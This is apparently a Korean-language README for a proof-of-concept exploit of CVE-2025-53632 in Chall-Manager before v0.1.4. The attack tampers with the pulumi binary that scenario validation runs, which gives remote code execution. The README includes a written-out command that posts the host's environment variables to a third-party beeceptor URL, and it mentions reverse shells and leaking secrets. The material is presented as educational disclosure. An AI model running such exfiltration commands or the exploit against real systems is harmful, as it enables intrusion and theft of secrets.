
CVE-2025-53632의 악용 가능성을 확인하기 위한 익스플로잇
이 저장소에는 Chall-Manager < v0.1.4에 영향을 미치는 CVE-2025-53632의 익스플로잇이 포함되어 있습니다. 영향을 받는 버전은 분명히 구식이고 아마도 아무도 사용하지 않을 것이므로, 현재 악의적인 악용 가능성은 없다고 확신합니다.
이 저장소는 누구를 공격할 권한을 부여하지 않으며, 교육 목적으로만 작성되었습니다.
[!WARNING] Chall-Manager가 시나리오를 처리하는 방식상, zip slip 없이도 여전히 완전히 악용 가능합니다. 시나리오의
pulumi바이너리를 변조하여 다음 실행 시 임의 코드가 실행되도록 하면 됩니다.
우리는 Chall-Manager v0.1.3에 대한 공격을 시연합니다.
노출된 Chall-Manager를 상상해 봅시다 (실제로는 그러지 마세요. RCE 온디맨드 앱이므로 노출용이 아닙니다).
챌린지를 생성할 때 시나리오는 Pulumi preview로 검증됩니다. 이 코드 자체를 통제할 수 없으므로 무엇이든 주입할 수 있습니다.
이를 위해 Chall-Manager는 Pulumi의 auto API를 사용하며, 이 API는 Pulumi 바이너리를 실행합니다.
이때 절대 경로를 사용하지 않으며, 바이너리가 /pulumi/bin/pulumi에 있을 것으로 예상합니다 ($PATH가 /pulumi/bin으로 시작합니다).
이 정보를 활용해, 실행 전에 셸 코드를 주입하여 pulumi 프로그램을 변조할 것입니다.
그러면 시나리오가 검증될 때 변조된 pulumi 프로그램이 실행되어 스크립트가 실행됩니다.
이 스크립트를 통해 리버스 셸을 열거나, 인프라 또는 컨테이너 내부로 피벗하거나, 비밀(예: 환경 변수에 포함된 값)이나 챌린지 콘텐츠(예: 시나리오가 사전 빌드되지 않은 경우의 챌린지 플래그)를 유출할 수 있습니다.
이 익스플로잇 데모를 실행하려면 다음이 필요합니다:
chall-manager를 실행합니다.
docker run --name chall-manager -d -p 8080:8080 ctferio/chall-manager:v0.1.3
main.go를 실행합니다.
go run main.go --url localhost:8080
창의력을 발휘해 보세요! 예를 들어, 시스템 정보를 제3자에게 보낼 수 있습니다...
go run main.go --url localhost:8080 --script 'curl -d "$(env)" https://app.beeceptor.com/console/cve-2025-53632'
완료되면 데모 Chall-Manager Docker 컨테이너를 중지할 수 있습니다.
docker stop chall-manager && docker rm $_